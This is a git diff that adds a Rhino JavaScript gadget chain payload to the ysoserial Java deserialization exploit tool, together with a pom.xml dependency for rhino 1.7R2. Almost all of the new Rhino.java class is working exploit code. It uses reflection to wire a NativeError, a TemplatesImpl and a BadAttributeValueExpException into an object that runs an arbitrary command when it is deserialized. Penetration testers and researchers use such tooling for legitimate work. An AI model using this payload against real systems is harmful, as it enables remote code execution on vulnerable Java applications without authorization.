diff --git a/pom.xml b/pom.xml index b216df0..43ffc0d 100644 --- a/pom.xml +++ b/pom.xml @@ -252,6 +252,11 @@ jython-standalone 2.5.2 + + rhino + js + 1.7R2 + diff --git a/src/main/java/ysoserial/payloads/Rhino.java b/src/main/java/ysoserial/payloads/Rhino.java new file mode 100644 index 0000000..c51bbc0 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Rhino.java @@ -0,0 +1,66 @@ +package ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.mozilla.javascript.*; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"rhino:js:1.7R2"}) +public class Rhino implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); + Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); + nativeErrorConstructor.setAccessible(true); + IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); + + Context context = Context.enter(); + + NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); + + Method enterMethod = Context.class.getDeclaredMethod("enter"); + NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); + idScriptableObject.setGetterOrSetter("name", 0, method, false); + + Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); + NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); + idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); + + Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); + getSlot.setAccessible(true); + Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); + Field getter = slot.getClass().getDeclaredField("getter"); + getter.setAccessible(true); + + Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); + Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); + memberboxClassConstructor.setAccessible(true); + Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); + getter.set(slot, memberboxes); + + NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); + idScriptableObject.setPrototype(nativeObject); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); + valField.setAccessible(true); + valField.set(badAttributeValueExpException, idScriptableObject); + + return badAttributeValueExpException; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Rhino.class, args); + } +} \ No newline at end of file